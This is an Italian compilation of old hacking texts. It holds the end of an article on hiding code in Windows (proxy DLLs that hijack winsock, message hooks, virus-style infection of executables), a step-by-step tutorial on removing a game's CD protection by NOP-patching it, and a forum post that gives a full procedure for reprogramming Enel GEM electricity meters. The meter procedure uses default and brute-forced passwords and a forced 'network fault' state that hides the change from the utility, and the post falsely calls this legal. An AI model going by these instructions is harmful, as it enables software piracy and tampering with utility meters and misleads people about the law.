HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunService

Se poi avete il MSVC create un nuovo progetto di tipo ATL e buona parte dello
scheletro per creare un servizio ve lo crea lui

3) un driver virtuale è un programma con un header speciale, non necessita di
registrazione, ma va comunque installato o nel registry o in qualche .ini
generalmente system.ini.
Per creare un VXD bisogna usare il DDK della Microsoft. Non chiedetemi di più
xè non ne so. ;-(
4) Dll cuscinetto: supponiamo di voler nascondere una dll a caso winsock32.dll,
l'idea è quella di creare una dll che nella export table abbia le stesse
funzioni della winsock32.dll e rinominare l'originale in _wsock32.dll (o un
qualunque nome vi piaccia) e poi nella vostra winsock32.dll per le funzioni che
volete ridefinire chiamate il vostro codice e poi la dll originale: es.

```
Send(.....)
{
MyFunc();
(*Send)() //ossia la send della dll originale
}
```

ovviamente la Dll originale deve essere stata preventivamente caricata con x
es. la LoadLibrary("_wsock32.dll")

5) Subclassing è una tecnica per modificare il comportamento di una finestra.
Se usate il VC con le MFC l'API è la CWnd::SubclassWindow() se preferite usare

le W32 API o il VB
L'API è la CallWindowProc()
In questo modo quando una finestra riceve un messaggio, questo viene prima
inviato alla vostra procedura e poi alla finestra originale, se volete, se no
potete rubargli il messaggio e basta.

6) HOOKS con gli hooks è possibile attaccare una "funzione di callback" ad un
certo messaggio di windows
Al messaggio che volete voi agganciate la vostra funzione in modo che questa
venga chiamata per prima
È possibile fare una lista di hooks ossia di procedure che vengono chiamate
quando in Windows viene generato un messaggio:
i messaggi a cui agganciarsi sono per es: WH_KEYBOARD, WH_MOUSE, WH_GETMESSAGE,
e molti altri

e qui il regalino ve lo fa Bacco (cioè io) con un pezzo di codice ...in C.

la funzione installa un HOOK ai messaggi che il thread (di identificativo
dwThread) riceve
e lo aggancia alla funzione GetMsgProc()

```
///////////////////////////////////////////////////////////////////////////////
BOOL WINAPI SetHook(DWORD dwThreadId) {
   BOOL fOk = FALSE;

      // Install the hook on the specified thread
      g_hhook = SetWindowsHookEx(WH_GETMESSAGE, GetMsgProc, g_hinstDll, dwThreadId);

   return(fOk);
}


LRESULT WINAPI GetMsgProc (int nCode, WPARAM wParam, LPARAM lParam)
{
 Beep(2000, 1000);
 return(CallNextHookEx(g_hhook, nCode, wParam, lParam));
}

///////////////////////////////////////////////////////////////////////////////
```

7) Shell Extension
Ringrazio il nuovo SPP-adepto Devil che alla velocità della luce ha scritto il
codice, che qui posto solo a pezzi anche perché troppo lungo per lo scopo di
questo articolo.

Windows prevede la possibilità di aggiungere delle voci ai menù a tendina che
si apre quando cliccate con il tasto destro su un file nella finestra
dell'explorer (tipo WinZip , antivirus vari)

Per fare questo bisogna creare un OLE server che può essere nella forma di dll
e credo anche exe e ocx,
i passi da seguire sono vari:
1. si deve registrare il CLSID dell'oggetto, le chiavi da registrare dipendono
dal comportamento che dovrà avere il nostro OLE Server, va comunque creata la
voce HKEY_CLASSES_ROOT\CLSID\{CLSID del mio OLE server}
e questo può essere fatto nella funzione STDAPI DllRegisterServer(void) se
l'oggetto è una dll o nel main o dove vi pare, basta farlo
2. dovete anche mettere anche le funzioni
DllCanUnloadNow(), and DllGetClassObject()

```
STDAPI DllCanUnloadNow(void)
{
	return S_FALSE;
}

STDAPI DllGetClassObject(REFCLSID, REFIID, LPVOID *)
{
	Beep(600, 200);
	return CLASS_E_CLASSNOTAVAILABLE;
}
```

8) Plug-in e helper
Molto brevemente anche perché non mi sono mai addentrato nell'argomento, è
possibile con i SDK appositi creare delle estensioni a Iexplorer o Netscape che
permettano di fare eseguire del vostro codice ai browser, normalmente vengono
usati per vedere tipi di dati particolari tipo RealAudio o filmati, ma nulla
vieta di fargli fare tutt'altro
Se volete un dettaglio su come fare, beh vi rimando ad un prossimo numero di
NetRunner,
non vorrete mica sapere tutto adesso !!!!

9) Embedded Exe
Questa è la tecnica fondamentalmente di alcuni tipi di virus: si "iniettano nel
file eseguibile e spostano il puntatore alla prima istruzione facendo in modo
che punti al proprio codice eseguibile, una volta che questo è terminato c'è un
jump alla prima istruzione del vecchio eseguibile che a questo punto parte
regolarmente come al solito.
Su questo argomento direi che la letteratura è fin troppo vasta.
E poi noi SPP siamo profondamente contrari alla creazione di virus e affini,
hacking deve essere costruttivo NON distruttivo.

Bene gente dopo questo pensiero moralistico, il vostro Bacco vi saluta sperando
di essere stato utile e soprattutto di non aver scritto troppe cazzate he he he

Ciao a tutti :) :-)

_#_

D.O.C.

DEFENDERS OF CRACKING

presents

Come crackare la protezione CD di un gioco

Introduzione

Quindi vuoi essere un crackatore, huh?Aha. So cosa pensi. Pensi scarico chili di help sui crack da internet, li leggo e comincio a crackare, huh ? Poi mi chiamo CdKiller e divento famoso come ogni altro crackatore sulla rete huh ??NO!!!TUTTO QUELLO CHE HAI PENSATO SUL CRACKARE E‘ FALSO!!!DIMENTICALO!!!RIPULISCITI IL CERVELLO E TI INSEGNERO‘ COME CRACKARE!!!
Quando avrai finito di leggero questo documento saprai come crackare le protezioni dei CD e come disabilitare le chiamate a filmati/sonoro/musica negli exe dei giochi.

COSA SERVE PER CRACKARE

Ok prima di cominciare a crackare hai bisogno di un disassemblatore! Io uso Win32Dasm e penso che sia il miglior programma per un apprendista crackatore.
Poi hai bisogno di Hiew per manipolare gli exe che vuoi crackare perché con Win32Dasm puoi solo guardare negli exe ma non puoi cambiare niente.
Win32Dasm
Hiew
Devi diventare pratico di questi due programmi per riuscire a crackare i programmi.
Ok, prendiamo per buono che hai i programmi e cominciamo a crackare.

SI COMINCIA!!!

Crackare con Win32Dasm
Ok in questa lezione ti mostrerò come lavorare con Win32Dasm e Hiew.
Oggi vogliamo crackare un gioco molto facile da crackare. Crackeremo Need for Speed 2.
Ok. Lanciamo Win32Dasm.exe.Possiamo vedere la schermata principale e la toolbar. Clicchiamo su Disassembler. Un menù appare e possiamo vedere delle opzioni. Clicchiamo su Open file to Disassemble. Un altro menù ci mostr il nostro HD e possiamo selezionare l’exe da crackare(ecco nfsw.exe).Il processo di disassemblazione può prendere alcuni minuti(cerca di avere almeno 80Mb liberi su disco o l’exe potrebbe non essere disassemblato totalmente). Ok, l’exe è disassemblato. E ora?
Tutto quello che vedi è un testo scritto col font Windings?NESSUN PROBLEMA!!!
Clicca su Disassembler e sulla schermata di opzioni seleziona Font e poi Select Font. Ora puoi selezionare il font da visualizzarepenso che il miglior font per lavorare sia Arial). Clicca Ok.
Ora possiamo leggere iltesto.Ok.Ma cosa diavolo vuol dire?
Object01: Begtext RVA: 00001000 Offset: 00000400 Size: 000AEA00 Flags 60000020
Cosa significa?Non lo sappiamo.Ma non importa!Non abbiamo bisogno di saperlo.Quello di cui abbiamo bisogno è di lanciare il gioco(Need for Speed 2) senza il CD inserito. Non funziona huh?PORK!Ma che messaggio di errore da?
Messaggio di errore:
To play Need for Speed 2 you need the Cd

Ok.Ora sappiamo il messaggio di errore!Questo è molto utile!Torniamo al Win32Dasm (nfsw.exe è già disassemblato), clicchiamo di destro sulla toolbar sul pulsante String Data References (è il pulsante dopo quello di stampa).Si apre una finestra chiamata Win32Dasm List of String Data Items. Ok. Tutto quello che dobbiamo fare è cercare il messaggio di errore che abbiamo visto lanciando Need for Speed senza il CD (per giocare a Need for Speed è necessario il CD). Cominicia per T per „To Play“ quindi non cerchiamo dall'inizio ma saltaiamo alla sezione dove vediamo messaggi che cominciano per „T“. Ed è lì che troviamo il messaggio di errore „To play Need for Speed 2 you“. Doppio click sul messaggio. Chiudiamo il menu pop-up con il messaggio di errore e torniamo alla schermata principale di Win32Dasm con il testo di nfsw.exe. Possiamo vedere che non siamo più all'inizio del testo ma in un qualche punto nel mezzo. Siamo ora esattamente nel posto dev'è il messaggio di errore. Vediamo ancora parole varie e non sappiamo cosa significa. Ma l'unica cosa che ci interessa di sapere e il numero di @offset di ogni comando di chiamata(call) o di salto(jump) (jump=jmp call = call). Guardiamo un attimo allo schermo e vediamo un comando di jump:
:0044632C EB1BC5E3E1 call 00446349

Usiamo i tasti cursore per cliccare sul comando jump. La Opbar cambia il suo colore in verde. Questo significa che possiamo manipolare il testo(possiamo modificare ogni cosa nell'exe, ma la barra verde ci segnala comandi importanti come jump,call…). Lasciamo la barra sul comando jump e guardiamo sotto la barra, dove vediamo alcuni numeri:
Line:120246 Pg 1604 of 4273 Code Data @:0045821 @Offset 00045821h in file:nfsw.exe

La sola cosa che ci interessa è il numero dopo @Offset (qui è 00045821), non abbiamo bisogno dell'ultima h.
Ci segnamo il numero(00045821) e chiudiamo Win32Dasm.
Ora andiamo con Hiew.

Crackare con HIEW
Lanciamo Hiew.exe(h.exe/h95.exe).Possiamo vedere la lista dei programmi e degli exe nella directory di HIEW in modo simile al Norton Commander. Usiamo i tasti cursore mer muoverci e andiamo nella directory doveabbiamo salvato l'exe che vogliamo crackare(per es. in c:\giochi\nfs2\nfsw.exe). Clicchiamo sull'exe che vogliamo craqckare(nfsw.exe).Vediamo codice su codice e non sappiamo cosa fare. Premiamo F4 e appare un menù. Nel menù selezioniamo Decode. Ora possiamo vedere una lista di numeri e altre cose. Ora premiamo F5 e nel lato sinistro dello schermo possiamo inserire il numero che ci abbiamo segnato in Win32Dasm (00045821). Scriviamo il numero e veniamo spostati da Hiew nel punto dove il numero esiste. Ora vediamo molti numeri e il cursore è posizionato su EB1BC5E3E1 (in Need for Speed 2).Ok. Ogni due numeri abbiamo un byte. Qui abbiamo EB1BC5E3E1, quindi abbiamo 5 byte. Ora premiamo F3(modifica). Ora possiamo modifica re i 10 numeri EB1BC5E3E1. Scriviamo 9. Se scriviamo veniamo spostati in altri punti, ma non è un problema. Il 9 è ancora lì. Ora scriviamo 0 e poi ancora 9 e 0. Lo faremo per ognuna delle coppie, quindi 5 volte. Premiamo F9(aggiorna).Abbiamo scritto 5 volte 90. Per ogni byte 90. Per EB=90 1B=90 C5=90 E3=90 E1=90.PER OGNI BYTE 90.
Per esempio: se ci posizioniamo su E8D117FDFF (è il codice di @offset per i filmati, ma per ora non preoccupiamocene), significa 10 numeir = 5 byte e per ogni byte un 90!!!! Il numero 90 è il numero noop(no operation, nessuna operazione).Ok.Premiamo F10(Chiudi) Ora possiamo lanciare Need for Speed 2 senza CD!!!
Abbiamo rimosso la protezione CD per Need for Speed 2!!!!

OK L'ABBIAMO FATTO

Ok abbiamo crackato la protezione CD.

QUALCOSA DA RICORDARE

La prima cosa da fare per crackare un gioco è lanciarlo senza CD!
Poi guardare che messaggio di errore da. Devi ricordarti l'ultimo messaggio di errore e lanciare Win32Dasm e guardare sotto List of String Data dove troverai il messaggio di errore. Per esempio: lanci il gioco senza i filmati sul tuo HD. Il gioco ti darà un messaggio di errore tipo „MOVIE FILE not found“. Ora potrai cercare in Win32Dasm dove trovi il messaggio di errore „MOVIE FILE not found“. Se lo trovi fai doppio click su questo.

Chiudi la List of Data String Items e torna su Win32Dasm, che si sarà spostato nel punto in cui si trova il messaggio di errore. Segnati ogni numero di @offset di jump e call (riconoscerai i comandi dalla barra che diventerà verde. Hai bisogno solo dei numeri senza la h!!!!Poi ti sposti in Hiew e scrivi il numero per ricercarlo. Poi modifica i comandi di call o jump con l'uso di 90 per ogni byte (ricorda che due numeri sono un byte). Poi selezioni aggiorna e chiudi. Ora hai noopato il gioco!!!

F.A.Q.

Domanda: Cosa faccio se ci sono più di una call o jump oppure una all e un jump?
Risposta: Ok.Ora sei nel punto in cui comincia il vero crackare! One delle call o jump è „Bravo Ragazzo“ e l'altra è „Cattivo Ragazzo“!!! Un bravo ragazzo è buono e se trasformi in noop il bravo ragazzo il gioco non funzionerà nel 99% dei casi. Ma qual è il buono e quale il cattivo?Non lo sappiamo!Devi provare!La miglior cosa da fare è salvare l'exe e andare avanti col vecchio duro metodo ‚a tentativi‘. Provi il noop su un comando e controlli se il gioco funziona. Se funziona, bene, altrimenti ricarichi il vecchio exe e provi un altro numeri. All'inizio puoi provare a noopare ogni call e jump che vedi ma sono sicuro che il gioco poi non funzionerà. Devi provare differenti combinazioni di noop finchè non funziona!!!

D:Non c'è il pulsante String Reference disponibile!
R:In tal caso la possibilità di crackare il gioco scende al 5%.
L'unica cosa che puoi provare è cercare a mano le parole chiave cd/movie/music/error…
O guardare nell'HexWorkShop se trovi una stringa che puoi manipolare. Ma hai poche possibilità.

D:Le ho provate tutte ma non riesco a crackare il gioco!
R:Ci sono due possibili strade:
1.:Hai fatto qualcosa di sbagliato(come noopare un Bravo Ragazzo, noopare qualcosa che il gioco richiede, non avete noopato abbastanza e non avete noopato le protezione richiesta o avete noopato troppe cose e il gioco non va)
2.:Non puoi crackare il gioco perché è un'operazione troppo difficile o nessuno può crackare il gioco(più probabilmente la prima cosa).

VELOCI PROMEMORIA

- Due numeri sono un byte :E4c2A1 significa E4=1byte C2=1byte A1=1byte e per ogni byte un 90 (il numero noop)
- Inizia senza CD e poi cerca il messagigo di errore presentato
- Con il messaggio lancia Win32Dasm e vai nel menu String of Data Items
- Cerca lo stesso messaggio di errore, facci un doppio click
- Segna il numero dopo @offset senza h per ogni call e jump
- Con il numero di @offset vai in Hiew e fai il noop all'indirizzo

QUESTO E'TUTTO

Spero tu capisca il mio testo e tu sia ora capace di crackare giochi e altre cose!
So che non è facile da comprendere, ma se ci provi abbastanza poi diventerà più semplice
Questo è il primo testo che scrivo riguardante i crack e non sarà certo l'ultimo!!!

INFORMAZIONI

Questo testo è stato scritto da The PuppetMaster2501. Sono membro di un nuovo gruppo di crackatori chiamato D.O.C. – Defenders of Cracking. Se hai qualche esperienza nel crackare hackare o puoi programmare strumenti in Turbo Pascal o C++ e vuoi essere un Defender invia un e-mail e ti contatterò (English only)
Lucien91@hotmail.com

Liberamente tradotto da littlelostsoul@hotmail.com

fkt-net · FKT-net (fisiokinesiterapia)

Messaggi

Da: "Luciano Rebuttini" <i5klr@l...>
Data: Mer Set 17, 2003 9:44 pm
Oggetto: Importante.

Cari amici, l'articolo che vi mando non è scientifico; ma dato che noi con la corrente tanto in casa che per la nostra attività ci sguazziamo dentro, vi porto a conoscenza del bel regalo truffaldino che l'enel ci sta preparando e come fregarli a nostra volta.
Ciao ed a presto rileggervi.

IL NUOVO CONTATORE ENEL GEM 2002

GUIDA ALLA SOPRAVVIVENZA
Ovvero

come aumentare da soli e gratuitamente la potenza da 3 a 6Kw

Premessa

ENEL ha iniziato ad installare in tutto il territorio i suoi nuovi contatori GEM 2002, sostituendo quelli vecchi che da decenni funzionavano benissimo.
L'operazione è apparentemente a carico di ENEL, e non degli utenti.
In quasi 5 milioni di abitazioni italiane il contatore GEM è già in funzione, almeno altrettante abitazioni presto lo riceveranno in gradito omaggio molto presto; alla fine saranno 27 milioni i contatori rimpiazzati.
Gradito? Sapete come funziona il nuovo contatore GEM ? Ma poi, che significa GEM?
GEM è un acronimo di Gestione Elettrica Migliorata (o qualcosa del genere, subdolo a sufficienza), ed è un apparato con controllo digitale dei consumi, in tempo quasi reale. E' stato progettato e prodotto dalla Echelon Corporation americana, società partecipata all'8% direttamente da Enel. Date un'occhiata alla loro pagina www.echelon.com/about/press/2000/stockSaleEnel.htm , prevedono di installarne 27 milioni!! Costo degli apparati: 130 milioni di dollari, buon per loro.
Al suo interno, un vero e proprio computer, che monitorizza costantemente lo stato di utilizzo della rete, ed è in grado di "dialogare" teoricamente con la centrale adeguando i carichi sul territorio. L'apparecchio è diabolico. Ogni famiglia italiana da decine d'anni ha un contratto enel che prevede erogazione per 3 Kw (chilowatt), a fronte dei quali paga un canone oltre ai consumi. La tolleranza (ovvero la capacità di sopportare carichi superiori) dei vecchi contatori è ampia, e se capita che salti la luce, quasi certamente c'erano accesi apparecchi con consumi elevati , come ad esempio una lavatrice ed una lavastoviglie allo stesso tempo. Oppure il microonde, il forno elettrico, lampade alogene ed una stufa. Il contatore staccava, perché il carico era davvero eccessivo.
Con il GEM installato, le famiglie italiane si sono di colpo trovate di fronte ad un problema. Il GEM stacca con precisione e senza tolleranza.
Accendete il forno elettrico, provate ad asciugarvi i capelli mentre l'arrosto cuoce: salta la luce. L'asciugacapelli non può funzionare insieme al forno. Scordatevi la lavatrice. Se cucinate non lavate, se lavate non asciugate.
Per fortuna c'è una soluzione: con soli 200 euro (quattrocento mila vecchie lire, mica noccioline) potete "estendere" la capacità del contatore, portandola a 4,5 Kw, o anche più. Aumenta anche il canone, di 80 euro al bimestre, naturalmente. Indovinate a cosa servono le 200 euro? A ripagare il contatore e la sua installazione!
Poi vi ritrovate un canone più costoso, e le stesse identiche prestazioni del contatore vecchio. Perché la corrente disponibile con il GEM tarato per 4,5Kw senza tolleranza, è la stessa del vecchio contatore da 3 Kw che era molto tollerante. Insomma, siete stati buggerati.
L'associazione dei consumatori si sta muovendo, perché i reclami si sprecano. Inutile chiedere di controllare il contatore: il GEM funziona benissimo, e l'uscita per controllarlo è tariffata 50 euro.

Tutto questo è vergognoso. ENEL ha deliberatamente escogitato un piano per estorcere, in pieno regime di monopolio e quindi senza alternative per le sue vittime, 200 euro a famiglia italiana per il nuovo contatore, oltre ad un canone annuo maggiorato di quasi un milione di vecchie lire. Ci sarebbero gli estremi per muovere il parlamento, e tirare giù dalle sedie i nostri politici con il cervello atrofizzato. Per fortuna c'è una soluzione.
Un po' di teoria..

Il GEM ha una "porta" di accesso remoto a raggi infrarossi, simile a quella

presente sui telecomandi dei televisori, sui telefonini, e sui computer portatili. La vedete nella foto. Per la sua configurazione, non serve un cavo speciale: il personale si interfaccia con il vostro contatore semplicemente avvicinandosi a meno di 30 centimetri, e lo fa naturalmente con un computer portatile.

L'accesso è protetto per impedire di accedere all'apparato senza essere autorizzati.
Gli apparati GEM ricordatelo sono computer, ed eseguono semplicemente un programma.
Nel display a cristalli liquidi potete visualizzare in qualsiasi momento lo stato di funzionamento, il carico istantaneo, i parametri di configurazione tra i quali.. la potenza tollerata. Dice 3.6Kw: il vostro contratto è di 3 Kw, e il GEM tollera 600 watt per un minuto. Lo stacco avviene dopo un minuto dall'eccesso di assorbimento. Per visualizzare i parametri, si utilizza sempre lo stesso tasto, l'unico presente sul GEM.

Il contatore GEM parla con la centrale per comunicare i consumi E PER COMUNICARE LE VARIAZIONI LOCALI AL CONTATORE. Per il resto, i contatori stanno zitti ed il server pure, in attesa di loro eventuali notizie.

Per nostra fortuna, chi ha programmato il GEM ha previsto una condizione di emergenza denominata "network fault", ovvero "guasto di rete. La condizione di "NF" si verifica teoricamente quando il GEM SERVER centrale, che controlla e pilota i contatori (e li legge), cessa per qualsiasi motivo di funzionare. Il "dialogo" tra server centrale GEM e contatore GEM dell'utente avviene tramite rete elettrica mediante onde convogliate, lo stesso principio usato - per esempio - dagli interfoni, e dalle reti dati di questo tipo. Enel prevede di utilizzare lo stesso sistema per offrire connettività ad internet. Un interessante articolo lo potete trovare su http://www.geocities.com/ik4nyy/cavi_elettrici.html (è datato, ma va bene lo stesso) oppure cercate su Google ' "onde convogliate" Enel ' , capirete di cosa stiamo parlando. Orbene, se il server centrale saltasse, qualcuno potrebbe "trasmettere" sulla rete elettrica al suo posto, pretendendo di essere il GEM server, e spegnere o alterare i contatori, mettendo al buio l'Italia intera. E' un'eventualità remota, ma non impossibile: per questo, i contatori in mancanza di dialogo con il server centrale entrano in Network Fault, fase durante la quale cessano di dialogare con il server, e rimangono in attesa di un suo "risveglio ufficiale".

Se avete letto con attenzione quanto sopra scritto, avrete certamente identificato una possibile condizione anomala, che è quella che andiamo ad esaminare.

Che succede se il contatore GEM entra in Newtork Fault ma il GEM server non lo sa?

Il server e il contatore NON si parlano.
Quindi, se per ipotesi fosse possibile:
A) metterlo in condizione di Network Fault
B) riprogrammare il GEM
C) toglierlo dalla condizione di Network Fault

Il server centrale non ne saprebbe niente, i consumi sarebbero normalmente registrati... ma la configurazione del GEM rimarrebbe quella nuova.

E' esattamente quello che siamo riusciti ad ottenere. Utilizzando un PC portatile con porta infrarosso (ce l'hanno tutti!), collegandoci con il GEM semplicemente avvicinandoci alla sua porta infrarosso, mandando una sequenza di autenticazione locale, richiedendo la condizione di Network Fault in modo manuale (da menù di test dell'apparato, incredibilmente a disposizione!!), modificando e salvando la nuova configurazione dove il carico è di 6 Kw (il doppio di prima!), ed infine ripristinando la condizione di normalità.

Tempo necessario per l'operazione: con il codice giusto, meno di un minuto!

Cosa succede dopo? Niente. La centrale potrebbe ripristinare il carico da 3Kw. E voi rimettere i 6. Non avete richiesto alcuna modifica contrattuale, quindi non pagate alcun canone aggiuntivo né quei famosi 200 euri. Non avete alterato in alcun modo il contatore, non l'avete aperto, non avete commesso alcun atto illecito. In ogni caso, non potete sapere chi lo ha fatto, perché il contatore (che è dell'ENEL, mica vostro) è in locali pubblici o in strada, chiunque può accedervi.

Dovranno cambiare di nuovo i contatori, o meglio intervenire cambiando completamente il software, uno per uno, e sono milioni! Siete in una botte di ferro. Pagate regolarmente i consumi. Anzi, probabilmente consumate di più di prima! In fondo è quello che volevate: poter consumare di più, lasciando accesa la lavatrice, il forno e l'asciugacapelli allo stesso momento.
La procedura pratica!

Dopo tante chiacchiere sulla teoria, ecco la pratica. Come modificare la configurazione del loro/vostro contatore Enel GEM 2002 senza che la centrale lo sappia. Una premessa importante:
Vi serve un computer portatile con porta infrarossi, senza nessun programma

particolare se non Hyperterminal , che è presente su tutte le versioni di Windows.

Vi serve conoscere il vostro codice di utenza (che non è un segreto per nessuno: SI LEGGE DIRETTAMENTE DAL DISPLAY DEL CONTATORE!! QUELLO DI CHIUNQUE. Ma non approfittatene per abbassare a 1 Kw il contatore del vicino che schiamazza di notte, sarebbe molto grave).

Vi serve conoscere il codice di accesso al vostro contatore, che è un numero formato da:
???????codice di utenza
???????password di 4 cifre
esempio 871.917.721 è il codice di utenza
il codice di accesso potrebbe essere: 8719177210000 nel caso la password fosse 0000 ... cosa che in alcuni fortunati casi è vera! Sono dei geni. Si sono in molti casi dimenticati di modificare la password da centrale!
Capirete, stanno ancora installando i contatori in giro per l'italia, qualcuno ha anche preso fuoco, hanno altre grane da risolvere al momento.
Comunque, la password va da 0000 a 9999 sono diecimila tentativi (fatti dal computer, mica da voi).
La fregatura sta nel fatto che dopo 3 tentativi sbagliati, occorre aspettare 1 minuto per riprovarci (come con i telefonini). Ma il gioco vale la candela.

Lanciate Hyperterminal utilizzando la porta infrarossi come porta di comunicazione.
I parametri di trasmissione devono essere: 9600 bps, 8 bit dati, 1 bit stop, nessuna parità.
Avvicinatevi al contatore posizionando la porta infrarossi del PC il più possibile vicino alla porta infrarossi del GEM.
Digitate (o copiate con taglia incolla, o mandate con un programma anche scritto in basic) il codice di accesso. Provate con 0000 per prima cosa! In alcuni casi, 1234 è risultato funzionante.
Se il codice è corretto, il GEM risponde mandando la schermata di configurazione:

Entrate nel menù TEST APPARATO (4 invio), poi 8 invio per Network Fault on.
L'apparato risponde con ESEGUITO, e ritorna al menù di prima.
Entrate nel menù CONFIGURAZIONE (1 invio), poi 1 invio per Capacità.
Inserite 6 e poi invio (per 6 Kw, oppure 4,5 con la virgola per 4.5 Kw, non provate valori superiori a 6, potete invece provare valori decimali qualsiasi da 1 a 6 per esempio 3.6 che è quello standard che vi ritrovate a bordo).
Tornate al menu TEST APPARATO, selezionate 8 invio per Nework fault off .
Battete 0 invio per uscire.

Andate a casa e accendete tutto quello che volete. Ricordatevi che pagate i consumi.
Epilogo
Alcuni dettagli importanti: il GEM non invia segnalazione alla centrale se sbagliate il codice. Motivo: eventuali interferenze possono di fatto causare "falsi negativi" sulla porta, provocando in modo continuato inutili allarmi.
L'operatore che si mette col PC davanti alla porta del GEM aspetta un minuto e poi si collega, se ci sono problemi di questo tipo. Il GEM pertanto è programmato per NON inviare segnalazione di allarme sull'accesso mancato.

Per rendere automatica la ricerca del codice, se non è valido quello di default (0000 oppure 1234) sarà disponibile a breve un programmino in basic che lo fa da solo, aspettando correttamente dopo tre tentativi. La centrale potrebbe in futuro cambiare la password, ma la procedura rimane sempre la stessa. Il programmino sarà disponibile tra qualche giorno, lo stiamo facendo senza troppi fronzoli ma perfettamente funzionante: dato il codice di utenza fa tutto lui. Se conosce già la password perché l'ha trovata in precedenza, si collega, modifica a 6Kw la capacità e si scollega da solo, il tutto in 13 secondi netti!!

Infine, il GEM non può essere aggiornato da centrale. Ovvero: il firmware (il software a bordo del GEM, che lo fa funzionare) deve essere cambiato manualmente accedendo direttamente al GEM in locale. E l'aggiornamento richiede almeno 10 minuti di lavoro per singolo apparato. Oltre alla visita in loco del tecnico. Poniamo che mediamente ci metta 30 minuti per contatore, diciamo che un tecnico riesca a fare 20 contatori in una giornata, ad un costo giornaliero bassissimo.. l'ENEL spenderà per rimettere le cose a posto tra i 35 ed i 50 miliardi di vecchie lire!! Complimenti bella mossa.
.

All'Enel l'avevano proprio pensata bene, farsi dare 200 euro oltre al canone maggiorato da ogni famiglia italiana. Il diavolo fa le pentole ma non i coperchi!
Il coperchio lo ha fornito un amico americano che ha lavorato sul progetto in Echelon negli Stati Uniti, e ha recentemente cambiato lavoro .. trasferendosi qui in Italia.

Aggiornamenti

Onde convogliate: sono utilizzate?

Innanzitutto, meglio chiarire che la maggior parte dei contatori installati (che sono una minima parte di quelli che devono essere installati in Italia) NON sono collegati con la centrale mediante onde convogliate. Lo saranno in

futuro, ma è probabile che prima Enel finisca di completare il rimpiazzo dei vecchi apparati. Speriamo tutti che tra un annetto o forse più (data ottimistica per installare 12 milioni di contatori, mi dicono) le associazioni dei consumatori spinte da una massa imponente di consumatori inferociti riesca a negoziare PERLOMENO il cambio di contratto gratuito, com'era all'inizio della farsa. A quel punto il popolo italiano sarà diviso in due parti: quelli che hanno versato le 200 euro, e quelli che non l'hanno fatto.

Password di accesso al contatore

Oltre a quelle di default, 0000 e 1234 sembra essere ricorrente una terza password 3635 (che in effetti corrisponde alle lettere Enel almeno sulla tastiera di un telefonino.. si vede che hanno fantasia).
Io non ho riscontri da chi legge queste pagine, perché non mi fido a mettere un indirizzo di email. Ho soltanto riscontri da amici che stanno provandoci, devo dire con risultati contrastanti. In un caso la password era 1234 ma il computer che veniva usato aveva qualche problema con la sua porta infrarossi. Ha funzionato utilizzando un palmare (Palm V) che ha sia infrarossi che terminal emulator.
Non possiedo un palmare, quindi non posso fornire indicazioni per il suo utilizzo anche se sembra più semplice del Pc.

L'idea del secolo...??

Un buontempone di amico mi ha fatto notare che anche i telefonini hanno una porta infrarossi. L'idea non ha né capo né coda: lasciate perdere. Perdereste solo del tempo.

Echelon esiste? Questo sito è una farsa?

Toglietevi il dubbio, fate una ricerca su internet e traete le vostre conclusioni sull'esistenza di Echelon Corporation, sulla partnership con Enel, sul numero di contatori che hanno prodotto, sulle onde convogliate. Troverete anche un articolo dove si parlava già dei potenziali problemi di quel prodotto, tra cui il rischio incendio, puntualmente verificatosi e documentato da Striscia la Notizia già qualche mese fa (è bruciato un appartamento, e i pompieri hanno dimostrato che a bruciare è stato .. il contatore!!!).
E' evidente che il problema la gente se lo pone quando la corrente comincia a saltare due o tre volte per sera. Questo sito non è una farsa, la farsa è di Enel che ci chiede 200 euro per ripagare il contatore che avrebbe dovuto essere gratuito. Gli scrupoli morali non dovrebbero toccare la nostra coscienza nel provare a riconfigurare il contatore, perché all'Enel non ne hanno avuti nel tentativo di "riconfigurare" il nostro portafoglio.
Ma l'associazione dei consumatori dorme il sonno del giusto o quello del narcotizzato??
Non sappiamo se queste pagine rimarranno visibili a lungo. Potete immaginare quanto sia felice Enel (wind, infostrada, fastweb... tutte società Enel) nel leggerle. Avrà un bel da fare a minacciare di non provarci, ad avvisare che è illegale (e non è vero), a smentire ed in generale a mentire, mentre le nostre associazioni dei consumatori possono fare molto poco.

marzo 2003

Luciano Rebuttini.
Via Della Pace Mondiale 92.
Badia a Settimo
Firenze.